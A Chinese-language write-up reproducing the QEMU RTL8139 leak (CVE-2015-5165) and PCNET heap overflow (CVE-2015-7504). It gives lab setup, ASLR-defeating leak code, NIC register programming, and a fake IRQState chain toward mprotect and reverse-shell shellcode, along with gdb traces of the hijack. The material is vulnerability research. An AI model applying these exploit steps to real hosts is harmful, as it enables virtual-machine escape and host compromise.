第一次接触 QEMU 模拟设备相关的漏洞,对 CVE-2015-5165 和 CVE-2015-7504 进行复现。

奇虎 360 的刘旭和汪圣平在 HITB 2016 展示了 KVM/QEMU 的两个新漏洞(CVE-2015-5165 和 CVE-2015-7504),对 RTL8139 和 PCNET 两种模拟网卡进行攻击,并成功逃逸虚拟机,拿到宿主机权限。

1. QEMU Environment Setup

宿主机:Ubuntu 14.04

首先下载指定版本的 QEMU 源码,国内用户可以使用 Gitee 的镜像站:

$ git clone https://gitee.com/mirrors/qemu.git
$ cd qemu
$ git checkout bd80b59

安装相关依赖:

$ sudo apt-get install -y python pkg-config zlib1g-dev libglib2.0-dev libpixman-1-dev libtool libsdl1.2-dev

对 QEMU 进行编译:

$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
$ make
$ ./x86_64-softmmu/qemu-system-x86_64 --version
QEMU emulator version 2.3.93, Copyright (c) 2003-2008 Fabrice Bellard

1.1. Nornal Setup

创建 Ubuntu 磁盘并以 CDROM 的方式启动虚拟机,安装 Ubuntu 系统:

$ /path/to/qemu-img create -f qcow2 ubuntu.img 60G
$ /path/to/qemu-system-x86_64 -L /path/to/pc-bios -enable-kvm -boot d -cdrom /path/to/ubuntu-16.04.7-desktop-amd64.iso -m 1024 -hda /path/to/ubuntu.img

直接从磁盘启动安装完成的 Ubuntu 系统:

$ /path/to/qemu-system-x86_64 -L /path/to/pc-bios -enable-kvm -m 2048 -drive format=qcow2,file=/path/to/ubuntu.img,if=ide,cache=writeback

1.2. Nographic-mode Setup

编译 Linux-4.15.7 内核:

$ sudo apt-get install -y libelf-dev libssl-dev
$ wget https://mirrors.aliyun.com/linux-kernel/v4.x/linux-4.15.7.tar.gz
$ tar xvf linux-4.15.7.tar.gz
$ cd linux-4.15.7
$ make defconfig
$ make kvmconfig
$ make menuconfig # CONFIG_8139CP=y & CONFIG_PCNET32=y
$ make

构建一个简单的 Debian 文件系统:

$ sudo apt-get install -y debootstrap
$ mkdir demo
$ sudo debootstrap --include=openssh-server,curl,tar,gcc,libc6-dev,time,strace,sudo,less,psmisc,selinux-utils,policycoreutils,checkpolicy,selinux-policy-default stretch demo

通过构建的文件系统创建一个磁盘 demo.img

$ cat << EOT > createDebianImage.sh
#!/bin/bash
set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' demo/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a demo/etc/inittab
printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a demo/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a demo/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a demo/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a demo/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a demo/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a demo/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a demo/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee demo/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a demo/etc/resolve.conf
echo "ubuntu" | sudo tee demo/etc/hostname
sudo mkdir -p demo/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee demo/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=demo.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F demo.img
sudo mkdir -p /mnt/demo
sudo mount -o loop demo.img /mnt/demo
sudo cp -a demo/. /mnt/demo/.
sudo umount /mnt/demo
EOT

直接从磁盘启动系统,并加载编译出来的内核映像:

$ /path/to/qemu-system-x86_64 -L /path/to/pc-bios -kernel /path/to/bzImage -append "console=ttyS0 root=/dev/sda rw" -hda /path/to/demo.img -enable-kvm -m 2G -nographic

后续的 CVE 涉及到对 RTL8139 和 PCNET 两种网卡的利用,在启动虚拟机时需要加上以下参数来启动相应的网卡:

$ $CMD -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1

2. MMU Test

需要 root 权限

使用以下代码来获取并输出虚拟机内部的物理内存地址:

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr) {
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr) {
    uint64_t pme, gfn;
    size_t offset;
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr) {
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main() {
    uint8_t *ptr;
    uint64_t ptr_mem;
    fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        perror("open");
        exit(1);
    }
    ptr = malloc(256);
    strcpy(ptr, "Where am I?");
    printf("%s\n", ptr);
    ptr_mem = gva_to_gpa(ptr);
    printf("Your physical address is at 0x%lx\n", ptr_mem);
    getchar();
    return 0;
}

代码测试:

$ ./mmu
Where am I?
Your physical address is at 0x79333010

启动虚拟机时,内存选项设置为 2GB(-m 2048),故在 QEMU 中会有一块内存区域大小为 2^310x80000000)作为客户机虚拟内存的物理映射地址。在宿主机使用 gdb 进行调试,通过 info proc mappings 获取到客户机虚拟内存对应的物理映射地址,再加上客户机内部的物理地址,即可在宿主机获取得到客户机中的字符串:

(gdb) info proc mappings
process 5133
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x7f55d4000000     0x7f5654000000 0x80000000        0x0
(gdb) x/s 0x7f55d4000000+0x79333010
0x7f564d333010:	"Where am I?"

3. CVE-2015-5165(Memory Leak)

该漏洞主要是进行内存泄漏,需要获取到 QEMU 在宿主机中 .text 段的基地址(用来放 Shellcode)以及用于模拟客户机物理内存的虚拟内存基地址(方便获取一些结构体的地址)。

REALTEK 网卡支持两种接收/传输模式:C 和 C+。当网卡使用 C+ 模式时,网卡会算错 IP 流量包的长度,并发送远大于实际长度的数据信息。具体的漏洞点在 hw/net/rtl8139.crtl8139_cplus_transmit_one 函数中。当虚拟机往 RTL8139 网卡发送数据包的时,QEMU 会调用该函数进行处理:

...
        uint8_t *saved_buffer  = s->cplus_txbuffer;
        int      saved_size    = s->cplus_txbuffer_offset;
        int      saved_buffer_len = s->cplus_txbuffer_len;
...
            /* ip packet header */
            ip_header *ip = NULL;
            int hlen = 0;
            uint8_t  ip_protocol = 0;
            uint16_t ip_data_len = 0;
...
            int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
            if (proto == ETH_P_IP) {
                DPRINTF("+++ C+ mode has IP packet\n");
                /* not aligned */
                eth_payload_data = saved_buffer + ETH_HLEN;
                eth_payload_len  = saved_size   - ETH_HLEN;
                ip = (ip_header*)eth_payload_data;
                if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
                    DPRINTF("+++ C+ mode packet has bad IP version %d "
                        "expected %d\n", IP_HEADER_VERSION(ip),
                        IP_HEADER_VERSION_4);
                    ip = NULL;
                } else {
                    hlen = IP_HEADER_LENGTH(ip); // IP数据报头长度
                    ip_protocol = ip->ip_p;
                    ip_data_len = be16_to_cpu(ip->ip_len) - hlen; // IP数据报传输数据长度=总长度-数据报头长度
                }
            }
...

代码中并没有检查 be16_to_cpu(ip->ip_len) 是否大于等于 hlen,且 IP 数据报传输数据长度 ip_data_len 被定义为 uint16_t,导致这里可以构造出一个很大的传输数据长度(比如构造 ip->ip_len=hlen-1,使得 ip_data_len 的值为 -1,也就是 65535)。之后会判断 ip_data_len 是否大于 MTU,若是则将数据切割成多个 IP 数据报进行发送:

...
                    /* ETH_MTU = ip header len + tcp header len + payload */
                    int tcp_data_len = ip_data_len - tcp_hlen;
                    int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
...
                    int is_last_frame = 0;
                    for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size) {
                        uint16_t chunk_size = tcp_chunk_size;
                        /* check if this is the last frame */
                        if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) {
                            is_last_frame = 1;
                            chunk_size = tcp_data_len - tcp_send_offset;
                        }
...
                        /* add 4 TCP pseudoheader fields */
                        /* copy IP source and destination fields */
                        memcpy(data_to_checksum, saved_ip_header + 12, 8);
...
                        if (tcp_send_offset) {
                            memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
                        }
...
                        rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
                            0, (uint8_t *) dot1q_buffer);
                        /* add transferred count to TCP sequence number */
                        p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
                        ++send_count;
                    }
...

rtl8139_transfer_frame 函数中,如果设置了 TxLoopBack,就不会发送 IP 数据报,而是直接将数据从队列中取回:

static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
    int do_interrupt, const uint8_t *dot1q_buf) {
    struct iovec *iov = NULL;
    struct iovec vlan_iov[3];
...
    if (TxLoopBack == (s->TxConfig & TxLoopBack)) {
        size_t buf2_size;
        uint8_t *buf2;
        if (iov) {
            buf2_size = iov_size(iov, 3);
            buf2 = g_malloc(buf2_size);
            iov_to_buf(iov, 3, 0, buf2, buf2_size);
            buf = buf2;
        }
        DPRINTF("+++ transmit loopback mode\n");
        rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
        if (iov) {
            g_free(buf2);
        }
    }
...
}

RTL8139 网卡中相关寄存器的布局如下,这里主要关注和 Exploit 相关的寄存器:

            +---------------------------+----------------------------+
    0x00    |           MAC0            |            MAR0            |
            +---------------------------+----------------------------+
    0x10    |                       TxStatus0                        |
            +--------------------------------------------------------+
    0x20    |                        TxAddr0                         |
            +-------------------+-------+----------------------------+
    0x30    |        RxBuf      |ChipCmd|                            |
            +-------------+------+------+----------------------------+
    0x40    |   TxConfig  |  RxConfig   |            ...             |
            +-------------+-------------+----------------------------+
            |                                                        |
            |             skipping irrelevant registers              |
            |                                                        |
            +---------------------------+--+------+------------------+
    0xd0    |           ...             |  |TxPoll|      ...         |
            +-------+------+------------+--+------+--+---------------+
    0xe0    | CpCmd |  ... |RxRingAddrLO|RxRingAddrHI|    ...        |
            +-------+------+------------+------------+---------------+
  • TxConfig:启用/禁用 Tx 标识位,如 TxLoopBack(启用 loopback test 模式)、TxCRC(删除 CRC 校验)等;
  • RxConfig:启用/禁用 Rx 标识位,如 AcceptBroadcast(接收广播数据包)、AcceptMulticast(接收多播数据包)等;
  • CpCmd:C+ 模式的命令寄存器,主要用于启用一些函数,如 CplusRxEnd(启用接收)、CplusTxEnd(启用传输)等;
  • TxAddr0:Tx 描述符表的物理内存地址;
  • RxRingAddrLO:Rx 描述符表的物理内存地址的低 32 位;
  • RxRingAddrHI:Rx 描述符表的物理内存地址的高 32 位;
  • TxPoll:让网卡轮询检查 Tx 描述符。

Tx/Rx 描述符由 rtl8139_desc 结构体定义。Tx/Rx 的缓冲区物理地址由 buf_* 指定,这些地址指向已经发送/接收的数据包,且必须和页对齐。dw0 编码了缓冲区的大小以及一些附加标识位,如 ownership 标识位用于显示缓冲区是否被网卡或驱动占用:

struct rtl8139_desc {
    uint32_t dw0;
    uint32_t dw1;
    uint32_t buf_lo; // buffer物理地址的低32位
    uint32_t buf_hi; // buffer物理地址的高32位
};

网卡的相关配置通过 sys/io.h 中的 in*()/out*() 函数实现,需要 CAP_SYS_RAWIO 权限来实现。下面的代码实现了对网卡的配置和初始化一个 Tx 描述符:

#define RTL8139_PORT        0xc000
#define RTL8139_BUFFER_SIZE 1500

struct rtl8139_desc desc; // Tx描述符结构体
void *rtl8139_tx_buffer; // Tx描述符对应的缓冲区
uint32_t phy_mem; // 物理地址

rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE); // 为Tx描述符申请堆内存
phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer); // 获取相应的物理地址

memset(&desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
             CP_TX_IPCS | CP_TX_TCPCS; // 设置相关标识位
desc->dw0 += RTL8139_BUFFER_SIZE; // 设置缓冲区大小
desc.buf_lo = phy_mem; // 设置缓冲区物理地址

iopl(3); // 设置I/O优先级为3
outl(TxLoopBack, RTL8139_PORT + TxConfig); // 设置TxConfig的标识位TxLoopBack
outl(AcceptMyPhys, RTL8139_PORT + RxConfig); // 设置RxConfig的标识位AcceptMyPhys
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd); // 设置CpCmd的标识位CPlusRxEnb、CPlusTxEnb
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd); // 设置ChipCmd的标识位CmdRxEnb、CmdTxEnb
outl(phy_mem, RTL8139_PORT + TxAddr0); // 设置TxAddr0的低32位为phy_mem,即物理地址
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4); // 设置TxAddr0的高32位为0

使用 Exploit 进行调试,在漏洞点处设下断点,查看 ip_data_len 的值,发现被设置为了 0xffff:

(gdb) b hw/net/rtl8139.c:2173
Breakpoint 1 at 0x561faa95f79b: file /home/b3ale/src/qemu/hw/net/rtl8139.c, line 2173.
(gdb) c
Continuing.
[Thread 0x7f30d26e6700 (LWP 8975) exited]
[Switching to Thread 0x7f3160f4d700 (LWP 8090)]

Breakpoint 1, rtl8139_cplus_transmit_one (s=0x561fab8a2390)
    at /home/b3ale/src/qemu/hw/net/rtl8139.c:2173
2173	                if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
(gdb) p/x *ip
$1 = {ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde,
  ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6, ip_sum = 0xadde,
  ip_src = 0x10108c0, ip_dst = 0x201a8c0}
(gdb) p/x ip_data_len
$2 = 0xffff

泄漏得到的数据大部分都是 QEMU 中同一个内置结构体 ObjectProperty(在 include/qom/object.h 中)。QEMU 遵循这样一个对象模型来管理各类设备、内存区域等,通过创建对象并分配相关属性。其中有 4 个函数指针 get/set/resolve/release

typedef struct ObjectProperty {
    gchar *name;
    gchar *type;
    gchar *description;
    ObjectPropertyAccessor *get;
    ObjectPropertyAccessor *set;
    ObjectPropertyResolve *resolve;
    ObjectPropertyRelease *release;
    void *opaque;
    QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;

如何根据 ObjectProperty 结构体来获取 .text 地址?

  1. 首先在 qemu-system-x86_64 二进制文件里搜索上述 4 类函数指针符号的所有静态地址,如 property_get_bool 等;
  2. 在读回的数据报里搜索值等于 0x60 的内存 ptr,如果匹配到,认为 (u64 *)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象,在 Exploit 中对应的函数是 qemu_get_leaked_chunk
  3. 在搜索到的内存上,通过页内偏移是否相等来匹配收集到的 4 种函数指针符号的静态地址,如果匹配则认为该地址就是 struct ObjectProperty 对象,在 Exploit 中对应的函数是 qemu_get_leaked_object_property
  4. object->get/set/resolve/release 的实际地址减去静态编译里算出来的偏移,最终得到 .text 加载的地址。
int cmp_page_offset(const void *a, const void *b) {
	return page_offset(*(hptr_t *)a) - page_offset(*(hptr_t *)b);
}

/* read the leaked memory and look
 * for free'd ObjectProperty structs
 */
size_t qemu_get_leaked_chunk(struct rtl8139_ring *ring, size_t nb_packet,
                             size_t size, void **leak, size_t leak_max) {
	uint64_t *stop, *ptr;
	size_t nb_leak = 0;
	size_t i;
	for (i = 0; i < nb_packet; i++) {
		/* TODO skip IP headers */
		ptr = (uint64_t *)(ring[i].buffer + 4);
		stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
		while (ptr < stop) {
			/* Look for a chunk of 0x60 bytes */
			hsize_t chunk_size = *ptr & CHUNK_SIZE_MASK; // 获取chunk大小
			if (chunk_size == size) { // size=0x60
				leak[nb_leak++] = ptr + 1;
			}
			*ptr++;
			if (nb_leak > leak_max) {
				warnx("[!] too much interesting chunks");
				return nb_leak;
			}
		}
	}
	return nb_leak;
}

int qemu_get_leaked_object_property(void **leak, size_t nb_leak,
                                    struct qemu_object **found,
                                    struct qemu_object *ref) {
	hptr_t *get, *set, *resolve, *release;
	int best = 0;
	size_t i, j;
#define ATT_SEARCH(att) {\
	att = bsearch(&object->att, qemu_object_property_##att,\
	              NMEMB(qemu_object_property_##att),\
	              sizeof(qemu_object_property_##att[0]),\
	              cmp_page_offset);\
	if (att != NULL) {\
		matches[match].ref = *att;\
		matches[match].found = object->att;\
		match++;\
	}\
}
	for (i = 0; i < nb_leak; i++) {
		int match = 0, diff_match = 0;
		struct {
			hptr_t found;
			hptr_t ref;
		} matches[4];
		struct qemu_object *object = (struct qemu_object *)leak[i];
		hptr_t offset;
		ATT_SEARCH(get);
		ATT_SEARCH(set);
		ATT_SEARCH(resolve);
		ATT_SEARCH(release);
		for (j = 1; j < match; j++) {
			diff_match += matches[j].found - matches[j-1].found
			         == matches[j].ref - matches[j-1].ref;
		}
		match += diff_match;
		if (match > best) {
			if (get != NULL) ref->get = get ? *get : HNULL;
			if (set != NULL) ref->set = set ? *set : HNULL;
			if (resolve != NULL) ref->resolve = resolve ? *resolve : HNULL;
			if (release != NULL) ref->release = release ? *release : HNULL;
			*found = object;
			best = match;
		}
	}
	return best;
}

hptr_t qemu_get_phymem_address(struct rtl8139_ring *ring, size_t nb_packet) {
	hptr_t *stop, *ptr;
	size_t i;
	for (i = 0; i < nb_packet; i++) {
		/* TODO skip IP headers */
		ptr = (hptr_t *)(ring[i].buffer + 4);
		stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
		while (ptr < stop) {
			if ((*ptr & 0xffffff) == 0x78) { // 在内存中匹配0x78
				return *ptr - 0x78;
			}
			*ptr++;
		}
	}
	return 0;
}

int main() {
...
#define ATT_SORT(att) {\
	qsort(qemu_object_property_##att, NMEMB(qemu_object_property_##att),\
	      sizeof(qemu_object_property_##att[0]), cmp_page_offset); /* 对数组qemu_object_property_*做快排 */ \
}
	ATT_SORT(get);
	ATT_SORT(set);
	ATT_SORT(resolve);
	ATT_SORT(release);
...
	/* look for leaked chunks of 0x60 bytes
	 * They could correspond to qemu
	 * ObjectProperty structs
	 */
	nb_leak = qemu_get_leaked_chunk(rtl8139_rx_ring, rtl8139_rx_nb, 0x60,
	                                leak, LEAK_MAX);
	if (!nb_leak) {
		errx(-1, "[!] failed to find usable chunks");
	}
	warnx("[+] found %d potential ObjectProperty structs in memory", nb_leak);
	score = qemu_get_leaked_object_property(leak, nb_leak,
	                                        &leak_object,
	                                        &object_ref);
	if (!score) {
		errx(-1, "[!] failed to find valid object property");
	}
...
	phy_mem = qemu_get_phymem_address(rtl8139_rx_ring, rtl8139_rx_nb);
	if (!phy_mem) {
		errx(-1, "[!] giving up. failed to get VM physical address");
	}

	phy_mem = ((phy_mem >> 24) << 24) - PHY_RAM;
	warnx("[+] VM physical memory mapped at 0x%"PRIxHPTR, phy_mem);
...
}

运行 Exploit,可以泄漏得到 .text 的地址以及物理内存地址:

$ ./cve-2015-5165
...
cve-2015-5165: [+] found 87 potential ObjectProperty structs in memory
cve-2015-5165: [+] .text mapped at 0x7f566abddd30
cve-2015-5165: [+] mprotect mapped at 0x7f566abdd730
cve-2015-5165: [+] qemu_set_irq mapped at 0x7f566addc8eb
cve-2015-5165: [+] VM physical memory mapped at 0x7f55d4000000

通过 gdb 调试验证结果正确性:

(gdb) x/i 0x7f566abddd30
   0x7f566abddd30 <_start>:	xor    %ebp,%ebp
(gdb) x/i 0x7f566abdd730
   0x7f566abdd730 <mprotect@plt>:
    jmpq   *0x86651a(%rip)        # 0x7f566b443c50 <mprotect@got.plt>
(gdb) x/i 0x7f566addc8eb
   0x7f566addc8eb <qemu_set_irq>:	push   %rbp
(gdb) info proc mappings
process 5133
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x7f55d4000000     0x7f5654000000 0x80000000        0x0
...

4. CVE-2015-7504(Heap Overflow)

该漏洞主要是缓冲区溢出,用于覆盖某个函数指针并最终执行 Shellcode。

主要漏洞在 hw/net/pcnet.cpcnet_receive() 函数中。s->buffer 是用于存放数据包的数组:

...
    PCNetState *s = qemu_get_nic_opaque(nc);
...
            uint8_t *src = s->buffer;
...
            if (!s->looptest) {
                memcpy(src, buf, size);
                /* no need to compute the CRC */
                src[size] = 0;
                src[size + 1] = 0;
                src[size + 2] = 0;
                src[size + 3] = 0;
                size += 4;
            } else if (s->looptest == PCNET_LOOPTEST_CRC ||
                       !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) { // size必须小于等于4096
                uint32_t fcs = ~0;
                uint8_t *p = src;

                while (p != &src[size]) // 计算CRC校验值
                    CRC(fcs, *p++);
                *(uint32_t *)p = htonl(fcs); // 当size等于4096时,可在此处溢出4字节的CRC校验值
                size += 4;
			}
...

hw/net/pcnet.h 中查看 PCNetState 结构体,在溢出 4096 字节的 buffer 数组后,会覆盖到成员 irq

typedef struct PCNetState_st PCNetState;

struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

hw/core/irq.cinclude/hw/irq.h 中,可以看到 qemu_irq 结构体中有一个 handler 函数。整个调用链为 pcnet_receive()->pcnet_update_irq()->qemu_set_irq()

typedef struct IRQState *qemu_irq;

typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

struct IRQState {
    Object parent_obj;
    qemu_irq_handler handler;
    void *opaque;
    int n;
};

void qemu_set_irq(qemu_irq irq, int level) {
    if (!irq)
        return;
    irq->handler(irq->opaque, irq->n, level);
}

根据上述的代码条件,首先需要设置 PCNET 网卡中相关的标识位。PCNET 网卡有 16 位和 32 位两种模式,默认情况下通过 16 位模式进行设置。下面是 16 位模式的 PCNET 网卡相关的寄存器:

            0                                  16
            +----------------------------------+
            |              EPROM               |
            +----------------------------------+
            |      RDP - Data reg for CSR      |
            +----------------------------------+
            | RAP - Index reg for CSR and BCR  |
            +----------------------------------+
            |           Reset reg              |
            +----------------------------------+
            |      BDP - Data reg for BCR      |
            +----------------------------------+

PCNET 网卡中有两种内置寄存器,分别是 CSR(Control and Status Register)和 BCR(Bus Control Register)。通过设置 RAP 寄存器来选择 CSR/BCR 寄存器的下标,然后再进行赋值操作。下面两行代码即表示 s->rap=0x0; s->csr[s->rap]=0x3;

outw(0x0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

在 Exploit 中通过初始化一个结构体来完成对网卡的设置,并将结构体通过 CSR1 和 CSR2 寄存器传给 PCNET 网卡:

struct pcnet_config {
    uint16_t  mode;      // 网卡工作模式
    uint8_t   rlen;      // RX描述符的个数 log2 base */
    uint8_t   tlen;      // TX描述符的个数 in log2 base */
    uint8_t   mac[6];    // MAC地址
    uint16_t _reserved;
    uint8_t   ladr[8];   // 逻辑地址 filter */
    uint32_t  rx_desc;   // RX描述符缓冲区的物理地址
    uint32_t  tx_desc;   // TX描述符缓冲区的物理地址
};

那么如何控制附加的 CRC 值?由于 CRC 是可逆的,可以在确定 CRC 值后,再构造相应的数据包来达到改成目标地址的目的。

漏洞的利用思路主要是构造一个假的 IRQState 结构体,并使得 s->irq 指向该结构体,其中 handler 设置为想要执行的函数地址或者是 Shellcode。然后根据之前泄漏得到的内存地址,计算伪造结构体的地址,并构造一个 4KB 大小的数据包,进行 CRC 校验后发送。当数据包被 PCNET 网卡接收到后,会通过 pcnet_receive() 进行以下操作:

  1. 将数据包内容复制到大小为 4096 个字节的 s->buffer 变量中;
  2. 计算数据包的 CRC 值并附加到 s->buffer 末尾,该 4 字节的 CRC 值会覆盖后面的 s->irq 变量,即可以指向构造的 IRQState 结构体;
  3. 调用 pcnet_update_irq() 函数,并在其中调用到 qemu_set_irq(),并执行构造的 handler

可以覆盖到 s->irq 的低 4 字节,意味着我们构造的 IRQState 结构体必须和 s->irq 在同一块内存段,才有机会控制程序执行流程。在没有设置编译标识 CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 的宿主机内核中,就无法满足这一条件。这里安装了 Linux-3.16 的内核作为后续的环境:

$ sudo apt-get install -y linux-headers-3.16.0-77 linux-headers-3.16.0-77-generic linux-image-3.16.0-77-generic

PS:编译选项 CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 的主要功能:ELF 可执行文件在开启 PIE 的前提下,借助加载基址的随机化,位置无关的代码也映射到随机化的地址上。若不开随机化的情形,则以 ELF_ET_DYN_BASE 作为基址进行加载。见 Linux-3.16 源码中 fs/binfmt_elf.c:803

           /* Try and get dynamic programs out of the way of the
            * default mmap base, as well as whatever program they
            * might try to exec.  This is because the brk will
            * follow the loader, and is not movable.  */
#ifdef CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE
           /* Memory randomization might have been switched off
            * in runtime via sysctl or explicit setting of
            * personality flags.
            * If that is the case, retain the original non-zero
            * load_bias value in order to establish proper
            * non-randomized mappings.
            */
           if (current->flags & PF_RANDOMIZE)
               load_bias = 0;
           else
               load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
#else
           load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr);
#endif

使用 gdb 对 Exploit 进行调试,可以看到最终 rip 被劫持为覆盖 4 字节后变量 p 的值:

(gdb) b hw/net/pcnet.c:1082
Breakpoint 1 at 0x7f565006ffa6: file /home/b3ale/src/qemu/hw/net/pcnet.c, line 1082.
(gdb) c
Continuing.
[Thread 0x7f564974a700 (LWP 5182) exited]
[New Thread 0x7f55fa7e7700 (LWP 5202)]
[Switching to Thread 0x7f5648f49700 (LWP 5183)]

Breakpoint 1, pcnet_receive (nc=0x7f56517d4b90, buf=0x7f56517d06a0 "RT",
    size_=4096) at /home/b3ale/src/qemu/hw/net/pcnet.c:1082
1082	                *(uint32_t *)p = htonl(fcs);
(gdb) p/x *(uint64_t *)p
$1 = 0x7f56517d4a80
(gdb) n
[Thread 0x7f55fa7e7700 (LWP 5202) exited]
1083	                size += 4;
(gdb) p/x *(uint64_t *)p
$2 = 0x7f56deadbeef
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007f565000a916 in qemu_set_irq (irq=0x7f56deadbeef, level=0)
    at /home/b3ale/src/qemu/hw/core/irq.c:43
43	    irq->handler(irq->opaque, irq->n, level);

5. Exploit

通过 CVE-2015-5165 可以泄漏包括 .text 段、.plt 段以及相关函数的地址绕过 ASLR。而通过 CVE-2015-7504 可以控制的 QEMU 为客户机开辟的物理地址范围低 4 位,构造相应的结构体能够达到控制程序执行流程的目的。两者结合就有机会拿到宿主机的权限。

但直接调用 system() 或者是 execve() 会导致失去对客户机物理内存的控制。因为 QEMU 映射的部分物理内存启用了 MADV_DONTFORK 标识,即不能在 fork() 后继承父进程的物理内存空间。故引出了另一条思路,即布置 Shellcode 来做反弹 Shell。因为漏洞的调用链 qemu_set_irq() 可以被多次触发,可以构造多个 IRQState 结构体。先选择某段没有启用 MADV_DONTFORK 的内存空间并布置 Shellcode,然后调用 mprotect 设置该内存空间为可执行(PROT_EXEC),最后调用该内存空间布置的 Shellcode。

void qemu_set_irq(qemu_irq irq, int level) {
    if (!irq)
        return;
    irq->handler(irq->opaque, irq->n, level);
}

在调用 irq->handler 时,传入了三个参数,前两个 irq->opaqueirq->n 都是可控的,接下来主要是控制 level 并设置为 PROT_READ | PROT_WRITE | PROT_EXEC(权限全开),以方便后面调用 mprotect。这里先调用一次 qemu_set_irq(),此时第二个参数就是 level,提前将其设置为 mprotect() 的第三个参数的值,然后再调用 mprotect()

结合 IRQState 的结构体可以有以下抽象的理解:

struct IRQState {
    uint8_t  _nothing[44];
    uint64_t  handler; // 调用函数
    uint64_t  arg_1; // 第一个参数
    int32_t   arg_2; // 第二个参数
};

struct IRQState fake_irq[2];
hptr_t fake_irq_mem = gva_to_hva(fake_irq);

fake_irq[0].handler = qemu_set_irq_addr; // 调用qemu_set_irq
fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState);
fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC;

fake_irq[1].handler = mprotec_addrt; // 调用mprotect
fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT;
fake_irq[1].arg_2 = PAGE_SIZE;

